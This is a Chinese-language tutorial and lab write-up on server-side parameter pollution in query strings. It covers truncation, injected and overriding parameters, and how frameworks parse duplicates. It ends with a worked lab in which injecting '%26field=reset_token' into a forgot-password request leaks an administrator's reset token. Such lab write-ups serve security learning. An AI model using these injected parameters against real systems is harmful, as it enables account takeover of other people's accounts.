API parameter pollution

某些網站無法直接從Internet存取的內部API,因此需要在透過一個中間系統存取內部API,在這個過程中如果沒有進行適當的編碼時,就會發生伺服器端參數污染,這意味著有機會能夠操縱或注入參數攻擊API。


測試查詢字串中的參數污染

若要測試查詢字串中的伺服器端參數污染,可將將查詢語法字元像是#&,=放入輸入參數中,並觀察應用程式如何回應。常見的測試思路有4個方向

  • 測試截斷
  • 測試無效參數
  • 測試有效參數
  • 測試覆蓋

舉例如下,假如使用者訪問請求GET /userSearch?name=peter&back=/home

該系統會用此請求GET /users/search?name=peter&publicProfile=true查詢內部API

測試截斷

使用#來嘗試截斷伺服器端請求

使用者訪問請求改為GET /userSearch?name=peter%23foo&back=/home

所以該系統就會用此請求GET /users/search?name=peter#foo&publicProfile=true查詢內部API

接著會有以下2種可能

假如系統最後解讀為name=peter#foo,則會回傳Invalid name,因為已將 foo視為使用者名稱的一部分

假如系統最後解讀為name=peter,則會回傳user peter之類,表示伺服器端查詢可能已被截斷,後面的#foo&publicProfile=true都沒有被執行

測試無效參數

如果不知道有沒有這個參數,可以測試以觀察反應

將查詢字串修改為GET /userSearch?name=peter%26foo=xyz&back=/home

這會導致向內部 API 發出GET /users/search?name=peter&foo=xyz&publicProfile=true查詢內部API

如果回應未更改,這可能表示參數已成功注入但被應用程式忽略。換句話說可能不存在foo參數

測試有效參數

假如己確認有email參數,則可測試該參數反應

將查詢字串修改為GET /userSearch?name=peter%26email=foo&back=/home

這會導致向內部 API 發出GET /users/search?name=peter&email=foo&publicProfile=true查詢內部API

接著可以觀察返回內容做進一步的分析

測試覆蓋

將查詢字串修改為GET /userSearch?name=peter%26name=admin&back=/home

這會導致向內部 API 發出以下伺服器端請求:GET /users/search?name=peter&name=admin&publicProfile=true

系統最後對name的解讀可能會有以下三種行為

  • PHP只解析最後一個參數。這將導致用戶搜尋admin
  • ASP.NET 結合了這兩個參數。這將導致用戶搜索peter,admin,這可能會導致Invalid username錯誤訊息。
  • Node.js/express 僅解析第一個參數。這將導致用戶搜索peter,給出未更改的結果。


利用查詢字串中的參數污染

舉例如下,某網站嘗試將administrator重置密碼時,會產生以下請求

request
POST /forgot-password HTTP/2
...omit...
csrf=yqrPLt5Q1BkIbVYirf55gpU6GanCnc7p&username=administrator

response
{"result":"*****@normal-user.net","type":"email"}

根據請求調整不同的參數,觀察返回狀況如下,發現後面接%26field=email可正常返回

請求參數返回內容
csrf=yqrPLt5Q1BkIbVYirf55gpU6GanCnc7p&username=administrator&x=y{“result”:”*****@normal-user.net”,”type”:”email”}
csrf=yqrPLt5Q1BkIbVYirf55gpU6GanCnc7p&username=administrator%26x=y{“error”: “Parameter is not supported.”}
csrf=yqrPLt5Q1BkIbVYirf55gpU6GanCnc7p&username=administrator#x=y{“error”: “Field not specified.”}
csrf=yqrPLt5Q1BkIbVYirf55gpU6GanCnc7p&username=administrator%23{“error”: “Field not specified.”}
csrf=yqrPLt5Q1BkIbVYirf55gpU6GanCnc7p&username=administrator%26field=y{“type”:”ClientError”,”code”:400,”error”:”Invalid field.”}
csrf=yqrPLt5Q1BkIbVYirf55gpU6GanCnc7p&username=administrator%26field=email{“result”:”*****@normal-user.net”,”type”:”email”}

另外,在分析網站/static/js/forgotPassword.js 發現參數reset_token如下

...omit... 
window.location.href = /forgot-password?reset_token=${resetToken}; 
...omit...

結合上述2個發現,嘗試對接口使用field搭配reset_token的組合,從返回內容發現可得到reset_token

request
POST /forgot-password HTTP/2
...omit...
csrf=yqrPLt5Q1BkIbVYirf55gpU6GanCnc7p&username=administrator%26field=reset_token

response
{"result":"5f49jq4ggitxapw62hgk850571kkdqs8","type":"reset_token"}

打開瀏覽器訪問以下網址即可重導到administrator的密碼更改頁面

/forgot-password?reset_token=5f49jq4ggitxapw62hgk850571kkdqs8

Lab: Exploiting server-side parameter pollution in a query string